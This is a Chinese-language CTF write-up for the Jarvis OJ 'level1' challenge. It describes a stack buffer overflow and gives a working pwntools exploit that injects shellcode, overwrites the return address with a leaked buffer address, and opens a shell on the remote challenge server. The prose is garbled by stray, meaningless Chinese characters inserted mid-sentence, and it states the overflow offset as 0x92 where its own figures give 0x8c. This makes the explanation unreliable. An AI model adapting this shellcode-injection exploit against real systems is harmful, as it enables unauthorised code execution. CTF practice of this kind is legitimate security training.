思路WP
- 同樣的使用ida打開挠锥,由main函數(shù)開始众羡,調(diào)用了vulner_function,也同樣建立了buf字符串buf到ret的偏移為(0x4-(-0x88)蓖租,一共為0x92粱侣。
main2.png
vuler.png
buff.png
buff-r.png
- 但同樣的,read函數(shù)向buf中輸入的數(shù)據(jù)最大可為0x100蓖宦。同樣屬于棧溢出齐婴,但該題并沒有為我們提供callsteam函數(shù),因此需要我們自行寫稠茂,但因為pwntool的強大柠偶,我們可以使用pwn中的asm(shellcraft.sh())函數(shù)來直接獲取執(zhí)行。
- system(“/bin/sh”)匯編代碼所對應(yīng)的機器碼睬关,但此時我們還需要得到buf的地址诱担,經(jīng)過調(diào)試可以知道當(dāng)與服務(wù)器進行鏈接后,在服務(wù)器返回"What's this:%p?\n"后會有加上一個地址共螺,由代碼邏輯可知该肴,這個地址就是buf的地址,由圖片知其位置在[14:-2].
level1返回地址.png
- 因此我們將之截取藐不,并保存在buf_addr中匀哄。因此我們把shellcode的代碼從buf的起始地址開始填充,然后buf中剩下的地址有a填充雏蛮,因為我們最后需要調(diào)用shellcode代碼涎嚼,因此再加上buf_addr(記得將之字符化)
代碼
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')

shellcode = asm(shellcraft.sh())
#io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
#print text[14:-2]
buf_addr = int(text, 16)
payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()
解釋
recvline(keepends=True) : 接收一行,keepends為是否保留行尾的\n
int()表示將得到的地址轉(zhuǎn)換為16進制數(shù)
結(jié)果
level1.png